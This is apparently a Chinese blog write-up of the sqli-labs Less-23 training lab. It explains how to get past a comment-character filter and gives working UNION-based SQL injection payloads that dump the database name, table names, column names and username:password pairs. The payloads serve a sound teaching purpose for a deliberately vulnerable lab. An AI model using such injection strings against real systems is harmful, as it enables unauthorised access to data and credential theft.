sqli-labs-Less-23

sqli-labs 实验记录

Less-23

这一关又回到了get注入方式,与之前的关卡不同的是,这一关采用了过滤"#"、"--"符号,导致之前所使用的注释符无法起到作用。破解的基本思路是构造一条特殊查询语句,使得SQL语句起到想要的效果。

第一步:查找注入点

打开网页之后,提示输入id号,我们按照提示输入id=1。

结果如图如示:网页返回用户名:Dump与密码:12。

首先我们采用之前的方法,输入"-1' union select 1,2,3#",页面返回语法错误。

查询原代码之后发现,过滤了"#"与"--",使得原先的注释符不起作用,但同时,我们也发现了SQL查询语句,通过构造特殊的查询语句,也可以达到想到的效果。

通过观察上述原代码中的SQL查询语句:

复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

输入payload:

复制代码
-1' union select 1,2,3 and '1'='1

使得这句SQL查询语句变为下列语句:

复制代码
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1' LIMIT 0,1"

这一关的核心破解思路是由条语句演变而来:

通过分析这条语句,我们可以看出,这条语句由三部分组成,第一部分id='-1',主要作用是让查询数据失效,执行我们想要的第二部分语句,即"union select 1,2,3",这条语句是最主要的查询语句,后续查询数据库与表、列名等数据都是通过修改这条语句实现的。第三部分是'1'='1,主要作用是与原代码中的limit语句相接,使之构成一条完整的SQL查询语句,保持语法的正确。

第二步:查询数据库名、表名、列名以及其它具体数据的

由上述语句进一步修改,可以得到查询数据库名、表名、列名以及具体数据的方法。

  • 查询数据库名

    复制代码
    -1' union select 1,database(),3 and '1'='1
  • 查询表名

    复制代码
    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
  • 查询列名

    复制代码
    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and '1'='1
  • 查询具体数据

    复制代码
    -1' union select 1,(select concat(username,':',password) from security.users limit 0,1),3 and '1'='1

如果需要继续查找其它数据,只需将"limit 0,1"中的'0',进行相应的修改,如"limit 1,1","limit 2,1"等等。

相关推荐
AI行业学习1 小时前
CC-Switch v3.16.1 官方下载 | 安装配置详细教程【2026.6.10】
java·开发语言·vue.js·python·mysql·eclipse·html
用户3074596982071 小时前
乐观锁与悲观锁
mysql
cui17875681 小时前
物业费收缴困局的破题之路:2026年社区商业逻辑的底层重构
大数据·数据库·人工智能
是发财不是旺财2 小时前
Hermes 网关四层权限控制方案:让 AI Agent 安全地查数据库
数据库·安全·agent·openclaw·hermes
持敬chijing2 小时前
Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析·xss
阿正的梦工坊2 小时前
【Rust】04-借用、引用与切片
java·数据库·rust
AOwhisky2 小时前
学习自测与解析:MySQL第五、六、七期核心知识点详解
运维·数据库·笔记·学习·mysql·云计算
持敬chijing2 小时前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
阿标在干嘛2 小时前
政策平台的推送系统:消息队列、定时任务、AB测试的工程实践
服务器·数据库·ab测试
Upsy-Daisy2 小时前
Hermes Agent 学习笔记 02:安装、配置与第一次运行
java·前端·数据库